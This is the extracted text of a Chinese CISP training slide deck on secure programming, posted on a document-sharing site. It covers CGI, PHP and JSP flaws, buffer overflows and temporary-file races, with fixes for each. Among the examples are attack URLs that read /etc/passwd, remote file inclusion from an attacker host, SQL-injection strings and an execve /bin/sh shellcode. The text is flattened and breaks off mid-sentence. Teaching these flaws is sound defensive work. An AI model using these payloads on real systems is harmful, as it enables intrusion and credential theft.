CISP-2-安全编程.ppt_第1页
CISP-2-安全编程.ppt_第2页
CISP-2-安全编程.ppt_第3页
CISP-2-安全编程.ppt_第4页
CISP-2-安全编程.ppt_第5页
已阅读5页,还剩80页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

信息安全技术安全编程 中国信息安全产品测评认证中心 CNITSEC 版本 CISP 2 安全编程 培训样稿 前言 课程目的 了解如何安全编程帮助用户在实际编程中应用上述技术为什么要安全编程黑客可利用软件中的安全问题进行攻击 造成经济或者名誉损失可能造成产品性能不稳定软件的安全性不好影响客户信心 销售受挫存在诸多安全问题的原因现代软件开发周期短 工作量大 无暇顾及安全软件开发人员缺乏安全编程经验 课程内容 通用安全编程原则常见Web编程语言的安全编程C Asp Perl php Jsp其他应用程序的安全编程缓冲区溢出函数返回值检查临时文件安全竞争条件软件开发过程中的一些安全考虑 通用安全编程原则 什么是一个安全的程序 简单的说 无论使用何种破坏手段 都可以正确执行自己的既定任务 这样的程序就是安全的程序 安全程序不应当损害它运行系统的本地安全策略 程序员职责就是保证程序可以正常执行任务 锁匠与锁 屋主与关门Solaris login 的安全问题什么是安全漏洞 程序中存在的危害本地安全策略的问题或弱点大多数是指那些会导致程序强制执行一些不同于作者本来意图的行为常见安全漏洞类型缓冲区溢出竞争条件输入检查错误访问控制错误设计错误 通用安全编程原则 程序只实现你指定的功能永远不要信任用户输入 对用户输入数据做有效性检查必须考虑意外情况并进行处理不要试图在发现错误之后继续执行尽可能使用安全函数进行编程小心 认真 细致地编程 Web安全编程 WebCGI编程的常见问题信息泄漏泄漏web路径信息泄漏系统文件内容泄漏数据库内容覆盖 重写系统或者数据库数据执行系统命令拒绝服务攻击 如何写一个安全的CGI程序 防止缓冲区溢出小心调用外部命令特殊字符的过滤正确使用隐藏变量使用cookie应注意的问题提防拒绝服务攻击使用正确的错误处理机制 CGI 缓冲区溢出 什么是缓冲区溢出 当向一个固定大小的缓冲区 buffer 中储存超量数据时 就会发生缓冲区溢出 BufferOverflow 缓冲区溢出的后果如果使用随机数据 可能导致程序崩溃如果精心构造溢出数据 可能改变程序执行流程 允许攻击者执行任意指令影响语言 C C 典型案例 count cgi缓冲区溢出漏洞 CGI 外部命令 原则尽可能不调用外部命令如果不得不调用 必须检查传递给外部命令的参数是否合法 只允许那些完全符合要求的参数通过 下表列出了一些常见调用外部命令的函数表1 C和Perl中可以调用shell的函数 Perl函数C函数system system open popen exec eval CGI 特殊字符 1 原则只让我们需要的字符通过检测不是剔除非法字符而是检查是否在合法字符集内不止是在调用外部命令时 在任何时候你都应该检查你页面的输入是否合法 当然这种检测没有一定的规律 要视你的CGI功能而定 要特别注意以下这些字符 NULL CGI 特殊字符 2 一个非常著名的例子 phf这个CGI程序在以前NCSA和APACHEWEB服务器中是默认安装的 phf程序通过popen 函数来传递数据到程序中剔除了一些已知的不良的字符 但是 它遗漏了其中一个字符 换行符 n 当在远程主机使用SHELL解程序解析的时候 换行符扮演了命令分隔符 把分行符前字符串作为一个命令 而把换行符后面的字符串作为一个新命令 通过请求下面的ULR 就可能在主机上执行 cat etc passwd 的命令 cgi bin phf Qalias hell 0acat 20 etc passwd 0a CGI 隐藏变量 原则尽量不要使用隐藏变量传递数据如果必须使用 应当在每个CGI中对所有的隐藏变量都进行检查 在很多CGI程序中 人们喜欢用隐藏变量来传递信息 这容易给一些不怀好意的人以可乘之机 因为隐藏变量可以通过查看html原码看到 因此 在用隐藏变量来传递信息时 一定要小心 审核你的程序流程 看看是否会带来问题 CGI 隐藏变量 隐藏变量隐藏变量的值是用户可修改的程序员可能忽视对隐藏变量的检查在多个连续页面中传递隐藏变量时 中间页面可能忽略了对隐藏变量的检查一个隐藏变量BA1 asp a2 asp a3 aspA2 asp可能会忘记对其进行检查 CGI Cookie的使用 很多人喜欢使用Cookie在客户端存储信息 Cookie的特点明文保存用户可控制原则尽量不要使用Cookie保存敏感信息设置Cookie的有效时间 CGI 拒绝服务攻击 拒绝服务攻击是使应用程序或操作系统停止为合法访问提供服务的一种攻击 对于CGI程序的拒绝服务来说 通常是指利用CGI程序实现上的弱点来大量占用系统资源 CPU或内存 例如 在数据库搜索时 使用简单的select语句对整个数据库进行搜索 当数据库比较庞大时 会占用较多的系统资源 攻击者如果发送大量搜索查询请求 系统可能瘫痪原则 处理请求时 使响应时间和占用资源尽可能少 CGI 错误处理机制 如果没有好的错误处理机制 你的CGI程序会在出错时泄露一些有用的信息 泄漏CGI程序所在物理路径泄漏数据库结构信息泄漏一些其他的有用信息 例如用户有效性当输入错误用户名时 返回 该用户不存在 信息原则 尽量不要泄漏任何不必要的信息只要用户名和口令有一样不正确 都显示同样的错误信息 攻击者无法识别有效用户名 PHP安全编程 PHP是一种非常容易上手的脚本语言 在web上应用十分广泛 PHP的开发者已经考虑到了很多安全问题 但是在默认安装下 由于程序员的不小心 还是会给服务器造成很大的危险 我们将以攻击者 脚本程序员 网站管理员三种角度讨论PHP的安全 一 PHP变量滥用 1 一 变量滥用PHP默认register globals On 对于GET POST Cookie Environment Session的变量可以直接注册成全局变量 它们的注册顺序是variables order EGPCS 同名变量右边的覆盖左边 所以变量的滥用极易造成程序的混乱 而且脚本程序员往往没有对变量初始化的习惯 像如下的程序片断就极易受到攻击 一 变量滥用 2 一 变量滥用 3 攻击者只需用如下的请求就能绕过检查 http victim test 1 php auth 1 一 变量滥用 4 这虽然是一个很低级的错误 但一些著名的程序也有犯过这种错误 比如phpnuke的远程文件拷贝漏洞 并提供了7个特殊的数组变量来使用各种变量 对于从GET POST COOKIE等来的变量并不会直接注册成变量 必需通过数组变量来存取 这使得程序使用PHP自身初始化的默认值 一般为0 避免了攻击者控制判断变量 一 变量滥用 5 解决方法程序员 对作为判断的变量在程序最开始初始化一个值 永远不要相信客户提交的数据 管理员 在配置文件设置register globals Off 二 文件打开 1 极易受攻击的代码片断 n exit else echo str 二 文件打开 2 由于攻击者可以指定任意的 filename 攻击者用如下的请求就可以看到 etc passwd http victim test 2 php filename etc passwd如下请求可以读php文件本身 http victim test 2 php filename 正确目录 test 2 phpPHP中文件打开函数还有fopen file 等 如果对文件名变量检查不严就会造成服务器重要文件被访问读取 二 文件打开 3 解决方法程序员 文件打开函数比较危险 慎用 如果一定要使用就必需严格检查要打开的文件名 绝对不能由用户任意指定 管理员 如非特殊需要 把php的文件操作限制在web目录里面 修改apache配置文件httpd conf php admin valueopen basedir usr local apache htdocs 三 包含文件 1 PHP的包含函数有include include once require require once 如果对包含文件名变量检查不严就会对系统造成严重危险 可以远程执行命令 极易受攻击的代码片断 三 包含文件 2 这种代码会造成系统文件泄漏 攻击者用如下请求可以得到 etc passwd文件 http victim test 3 php filename etc passwd远程包含文件问题如果对于Unix版的PHP 攻击者可以在自己开了http或ftp服务的机器上建立一个包含shell命令的文件 如http attack attack txt 其内容是 那么如下的请求就可以在目标主机执行命令ls etc http victim test 3 php filename http attack attack txt 三 包含文件 3 另外一种形式的易受攻击的代码片断 三 包含文件 4 攻击者可以在自己的主机建立一个包含执行命令代码的config php文件 然后用如下请求也可以在目标主机执行命令 http victim test 4 php lib http attack 三 包含文件 5 解决方法程序员 包含文件里的参数尽量不要使用变量 如果使用变量 就一定要严格检查要包含的文件名 绝对不能由用户任意指定 管理员 如前面文件打开中限制PHP操作路径是一个必要的选项 另外 如非特殊需要 关闭Unix版PHP的远程文件打开功能 修改php ini文件 allow url fopen Off重启apache 四 命令执行 1 下面的代码片断是从PHPNetToolpack摘出 详细的描述见 由于程序没有过滤 a query变量 所以攻击者可以用分号来追加执行命令 四 命令执行 2 攻击者输入如下请求可以执行cat etc passwd命令 http victim test 5 php a query cat etc passwdPHP的命令执行函数还有system passthru popen 和 等 命令执行函数非常危险 应当慎用 如果要使用一定要严格检查用户输入 四 命令执行 3 解决方法程序员 使用escapeshellcmd 函数过滤用户输入的shell命令 管理员 尽量建议程序员不要使用命令执行函数 如果确实有应用 修改php ini设置safe mode On 只允许执行safe mode exec dir指定目录下的命令 五 文件上传 1 这是一个最简单的文件上传代码 五 文件上传 2 文件上传上传文件 五 文件上传 3 这样的上传代码存在读取任意文件和执行命令的重大问题 下面的请求可以把 etc passwd文档拷贝到web目录 usr local apache htdocs test下的attack txt文件里 http victim test 6 php upload 1 file etc passwd file name attack txt然后可以用如下请求读取口令文件 http victim test attack txt 五 文件上传 4 攻击者可以把php文件拷贝成其它扩展名 泄漏脚本源代码 攻击者可以自定义form里file name变量的值 上传覆盖任意有写权限的文件 攻击者还可以上传PHP脚本执行主机的命令 五 文件上传 5 解决方法程序员 PHP 4 0 3以后提供了is uploaded file和move uploaded file函数 可以检查操作的文件是否是用户上传的文件 从而避免把系统文件拷贝到web目录 使用 HTTP POST FILES数组来读取用户上传的文件变量 严格检查上传变量 比如不允许是php脚本文件 管理员 对于上传目录去掉PHP解释功能 可以通过修改httpd conf实现 php flagengineoff 如果是php3换成php3 engineoff 六 sql inject 1 六 sql injectPHP有良好的数据库编程接口 支持众多的数据库 与MySQL的组合应用更是广泛 如下的SQL语句如果未对变量进行处理就会存在问题 select fromloginwhereuser user andpass pass 攻击者可以用户名和口令都输入1 or1 1绕过验证 六 sql inject 2 不过PHP有一个默认的选项magic quotes gpc On 该选项使得从GET POST COOKIE来的变量自动加了addslashes 操作 上面SQL语句变成了 select fromloginwhereuser 1 or1 1 andpass 1 or1 1 从而避免了sql inject攻击 虽然PHP默认该选项打开 可是为了安全起见我们还是应该对SQL语句中的变量进行处理 PHP 4 0 3添加了一个mysql escape string 来处理这种情况 六 sql inject 3 对于数字类型的字段 很多程序员会这样写 select fromtestwhereid id由于变量没有用单引号扩起来 就会造成sql inject攻击 幸亏MySQL功能简单 没有sqlserver等数据库有执行命令的SQL语句 而且PHP的mysql query 函数也只允许执行一条SQL语句 所以用分号隔开多条SQL语句的攻击也不能奏效 但是攻击者起码还可以让查询语句出错 泄漏系统的一些信息 或者一些意想不到的情况 六 sql inject 4 解决方法程序员 对所有用户提交的要放到SQL语句的变量用mysql escape string 进行过滤 即使是数字类型的字段 变量也要用单引号扩起来 MySQL自己会把字串处理成数字 管理员 不要给PHP程序高级别权限的用户 只允许对自己的库进行操作 七 安全模式 1 前面我们也已经提到过PHP的safe mode 默认是关闭的 启用safe mode 会对许多PHP函数进行限制 特别是和系统相关的文件打开 命令执行等函数 所有操作文件的函数将只能操作与脚本属主相同的文件和目录 所以PHP脚本的属主最好独立设置 不要和其它文件的属主相同 八 信息显示 1 PHP默认显示所有的警告及错误信息 error reporting E ALL E NOTICEdisplay errors On在平时开发调试时这非常有用 我们可以马上根据警告信息找到程序错误所在 正式应用时 警告及错误信息让用户不知所措 而且给攻击者泄漏了脚本所在的物理路 九 信息显示 2 径 为攻击者的进一步攻击提供了有利的信息 而且由于我们自己没有访问到错误的地方 反而不能及时修改程序的错误 所以把PHP的所有警告及错误信息记录到一个日志文件是非常明智的 即不给攻击者泄漏物理路径 又能让自己知道程序错误所在 九 信息显示 3 修改php ini中关于Errorhandlingandlogging部分内容 error reporting E ALLdisplay errors Offlog errors Onerror log usr local apache logs php error log然后重启apache 注意文件 usr local apache logs php error log必需可以让nobody用户可写 JSP安全编程 JSP JavaServerPages 是一种基于Java语言的Web服务端编程语言Java语言自身的安全性比较高 使得使用JSP编程出现安全问题几率变小 JSP 缓冲区溢出 1 JSP不受缓冲区溢出漏洞影响从输入流读取输入数据的C代码通常如下所示 charbuffer 1000 intlen read buffer 由于实现无法确定读入的数据长度 上述代码就可能发生缓冲溢出 在Java中 一般用字符串而不是字符数组保存用户输入 与前面C代码等价的Java代码如下所示 Stringbuffer in readLine JSP 缓冲区溢出 2 在上面的例子中 缓冲区 的大小总是和输入内容的大小完全一致 由于Java字符串在创建之后不能改变 缓冲区溢出也就不可能出现 就算用字符数组替代字符串作为缓冲区 Java也不象C那样容易产生可被攻击者利用的安全漏洞 例如 下面的Java代码将产生溢出 char bad newchar 6 bad 7 50 这段代码总是会产生一个异常 java lang ArrayOutOfBoundsException JSP 缓冲区溢出 3 这种处理过程永远不会导致不可预料的行为 无论用什么方法溢出一个数组 我们总是得到ArrayOutOfBoundsException异常 因此Java运行时底层环境就能够保护自身免受任何侵害 Java编程模式从根本上改变了用户输入的处理方法 避免了输入缓冲区溢出 从而使得Java程序员摆脱了这种最危险的编程漏洞 JSP 执行系统命令 Java实现了比较完善的API 很多涉及系统的操作都可以通过这些API完成 例如发送邮件就可以使用JavaMail来完成 但是如果程序员非要使用系统程序来完成 就可能会存在一些安全问题 例如Runtime getRuntime exec 函数就可以执行系统命令 如果没有对传递进来的数据进行检查 就可能被攻击者利用来执行系统命令 解决方法 尽量使用JavaAPI来完成相关操作 JSP SQL注入攻击 1 一段问题代码 Stringuser request getAttribute username Stringpass request getAttribute password Stringquery SELECTidFROMusersWHEREusername user ANDpassword pass Statementstmt con createStatement query ResultSetrs con executeQuery query if rs next 登录成功 else 登录失败 JSP SQL注入攻击 2 如果用户输入的查询条件中 用户名字等于 test 密码等于 123 则系统执行的查询实际上是 SELECTidFROMusersWHEREusername test ANDpassword 123 这个查询能够正确地对用户名字和密码进行检查 但是 如果用户输入的查询条件中 名字等于 test AND a b 密码等于 blah OR a a 此时系统执行的查询变成了 SELECTidFROMusersWHEREusername test AND a b ANDpassword blah OR a a JSP SQL注入攻击 3 使用下面的代码可以解决SQL注入攻击的问题 Stringuser request getAttribute username Stringpass request getAttribute password Stringquery SELECTidFROMusersWHEREusername ANDpassword PreparedStatementstmt con prepareStatement query stmt setString 1 user stmt setString 2 pass ResultSetrs stmt executeQuery 其他应用程序的安全编程 缓冲区溢出函数返回值检查临时文件安全竞争条件 缓冲区溢出 缓冲区 buffer 用于临时存储数据的一段内存区域溢出 overflow 数据过长导致无法存储在预期区域内边界检查 BoundaryCheck 在向缓冲区中存储数据时 确定数据长度是否会超出缓冲区边界 缓冲区溢出 术语 2 堆栈 Stack 一段内存区域 用来临时存储信息 后进先出 通常用来保存函数调用现场 局部变量 堆 Heap 应用程序动态分配的内存区域BSS区 初始数据全为零 保存未初始化的静态变量函数返回地址 函数执行完毕返回时要去执行的下一条指令的地址 缓冲区溢出 术语 3 Shellcode 通常指攻击者精心构造的一段汇编代码 在溢出攻击时会诱使程序执行这段代码 charshellcode xeb x1f x5e x89 x76 x08 x31 xc0 x88 x46 x07 x89 x46 x0c xb0 x0b x89 xf3 x8d x4e x08 x8d x56 x0c xcd x80 x31 xdb x89 xd8 x40 xcd x80 xe8 xdc xff xff xff bin sh 缓冲区溢出 内存布局 栈底 栈顶 高地址端 低地址端 SP 内存布局示意图 缓冲区溢出攻击的途径 攻击设置了suid sgid属性的本地程序攻击存在缓冲区溢出问题的网络服务或者客户端程序 Set USER ID和Set Group ID属性 chmodug scmd在cmd程序执行时 它的有效用户ID和组ID被设置成cmd文件的属主和属组这个属性允许普通用户访问某些受限文件或者执行某些受限操作 r s x x1rootroot13536Jul122000 usr bin passwd 缓冲区溢出分类 基于堆栈的缓冲区溢出覆盖函数返回地址覆盖ebp内容 单字节溢出 基于堆或者BSS的缓冲区溢出覆盖重要数据结构 例如函数指针 覆盖文件名 保存的uid 保存的口令等等覆盖动态分配内存之间的管理数据结构 free malloc 格式串溢出 基于堆栈的缓冲区溢出 堆栈中的数据 栈底 SP 正常的堆栈分布 攻击者调用一个函数后 堆栈内容 堆栈中的数据 栈底 返回地址 SP 其他数据 例如函数的局部变量 nbytes 4bytes 如果这个函数发生了溢出 堆栈中的数据 栈底 新的返回地址 SP 其它被覆盖的数据 nbytes 4bytes 某些数据可能已经被覆盖了 攻击者提供的shellcode例如 一段执行execve bin sh 的机器码 一个典型的问题程序 voidfunction char str charbuffer 16 strcpy buffer str voidmain intargc char argv if argc 1 function argv 1 执行结果 w3 RedHat72w3 gcc ovulvul c w3 RedHat72w3 gdb vul q gdb r perl e print A x28 BBBBStartingprogram home w3 vul perl e print A x28 BBBBProgramreceivedsignalSIGSEGV Segmentationfault 0 x42424242in gdb ireax0 xbffffc60 1073742752ecx0 x564eff411448017729edx0 x575000421464860738ebx0 x401621541075192148esp0 xbffffc800 xbffffc80ebp0 x414141410 x41414141esi0 x400168e41073834212edi0 xbffffd04 1073742588eip0 x424242420 x42424242 堆栈缓冲区溢出攻击的方法 栈底 新的返回地址 SP 堆栈中的数据 nbytes 4bytes 攻击者提供的shellcode例如 一段执行execve bin sh 的机器码 Buffer 16 0 x42424242 shellcode Nop 缓冲区溢出的后果 攻击者可以使远程服务程序或者本地程序崩溃攻击者可以以被攻击的程序运行时的身份执行任意代码 如果该程序以特权用户身份运行 攻击者可以远程或者本地提升权限 缓冲区溢出漏洞存在的原因 开发者没有进行边界检查开发者缺乏安全编程的意识认为分配的内存通常足够使用了使用不安全的数据拷贝函数strcpy strcat gets sprintf 开发者没有进行正确的边界检查错误的使用一些 安全 拷贝函数也可能会导致缓冲区溢出 例如memcpy dest src strlen src 阻止缓冲区溢出的方法 不使用不安全的数据拷贝函数在往缓冲区中填充数据时必须进行边界检查 尽量动态分配内存以存储数据 不要使用固定大小的缓冲区程序尽量不设置suid sgid属性 阻止缓冲区溢出的方法 使堆栈不可执行SolarisDesigner的不可执行堆栈补丁 Linux 使Linux系统代码段和数据段的虚拟空间的地址不再重叠SunSolaris不可执行堆栈保护 etc system setnoexec user stack 1setnoexec user stack log 1 阻止缓冲区溢出的方法 使用检测活动记录改变的编译器StackGuard在返回地址前面增加字符串中止符号或者随机数据 检测是否被修改StackShield创建一个特别的堆栈用来储存函数返回地址的一份拷贝 它在受保护的函数的开头和结尾分别增加一段代码 开头处的代码用来将函数返回地址拷贝到一个特殊的表中 而结尾处的代码用来将返回地址从表中拷贝回堆栈 函数返回值检查 1 没有对函数返回值进行检查可能带来一些安全问题 charmaketemp char name tmp tempfile creat name 0644 chown name 0 0 returnname 函数返回值检查 2 让我们来看例子中相关的返回值 如果攻击者拷贝 bin sh为 tmp tempfile 并设置setuid属性 由于文件已经存在 creat 函数将不能成功执行 但creat 的返回值没有被检查 程序仍将继续执行 接下来 程序会改变文件的属主为ROOT 并向攻击者一个setuidROOTSHELL 提供超级用户访问权限 解决方法 严格检查函数返回值 并做错误处理 临时文件安全 1 很多安全漏洞发生在访问已知文件名或可猜测的临时文件时 常见的情况是 程序在一个临时目录中打开一个文件 然后就将数据写到文件中 然而 如果攻击者预先创建一个符号链接 将这个临时文件指向其他文件 就有可能将数据写到那些文件中 这种类型的攻击往往发生在下面2种情况下 1 一个有特权的程序可以被攻击者执行 2 攻击者期望系统上其他用户执行一已经知道有临时文件处理问

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论